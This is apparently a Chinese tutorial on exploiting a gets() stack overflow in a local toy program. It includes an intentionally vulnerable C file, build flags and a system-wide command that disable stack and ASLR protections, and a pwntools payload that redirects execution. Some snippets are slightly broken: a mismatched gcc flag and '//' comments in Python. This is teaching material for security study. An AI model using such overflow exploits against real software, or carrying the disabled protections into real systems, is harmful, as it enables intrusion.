gets函数溢出
源码
#include <stdio.h>
#include <string.h>
void success()
{
puts("you are succeed!");
}
void volunter()
{
char s[12];
gets(s);
puts(s);
return;
}
int main()
{
volunter();
return 0;
}
gets函数不检查输入字符串的长度,回车结束输入
gcc编译
- -m32 指的是生成 32 位程序;
- -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。
- 为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有–enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie。
- 提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。
- 我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
- 关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
我们可以使用
echo 0 > /proc/sys/kernel/randomize_va_space
关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。
关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。
gcc -m32 -fno-threadsafe-statics -no-pie test.c -o test
检查编译
- 安装pwntools
- pip install pwntools
- checksec就可以使用了
IDA反编译
一般linux编译的二进制文件copy到windows中,使用IDA打开。
如下操作后
看到volunteer函数的代码界面
发现字符串距离ebp的距离有0x14
查找success的返回地址
payload编写
我们需要先写进去0x14单位的字符串,然后把ebp基址覆盖(4单位),然后将返回地址覆盖为success的函数地址
from pwn import *
success_add = 0x08049172
payload = 'a' * 0x14 + 'bbbb' + p32(success_add)
sh = process('./test')
print p32(success_add)
//主要是对整数进行打包,就是转换成二进制的形式,比如转换成地址。
//p32、p64是打包,u32、u64是解包。
print payload
sh.sendline(payload)
//发送一行数据,相当于在末尾加\n
sh.interactive()
//与shell交互
成功执行success函数
总结
- 首先寻找危险函数
- 输入
- gets,直接读取一行,忽略’\x00’
- scanf
- vscanf
- 输出
- sprintf
- 字符串操作
- strcpy,字符串复制,遇到’\x00’停止
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
- 输入
- 计算填充长度
- 一般为使用IDA查看并计算偏移地址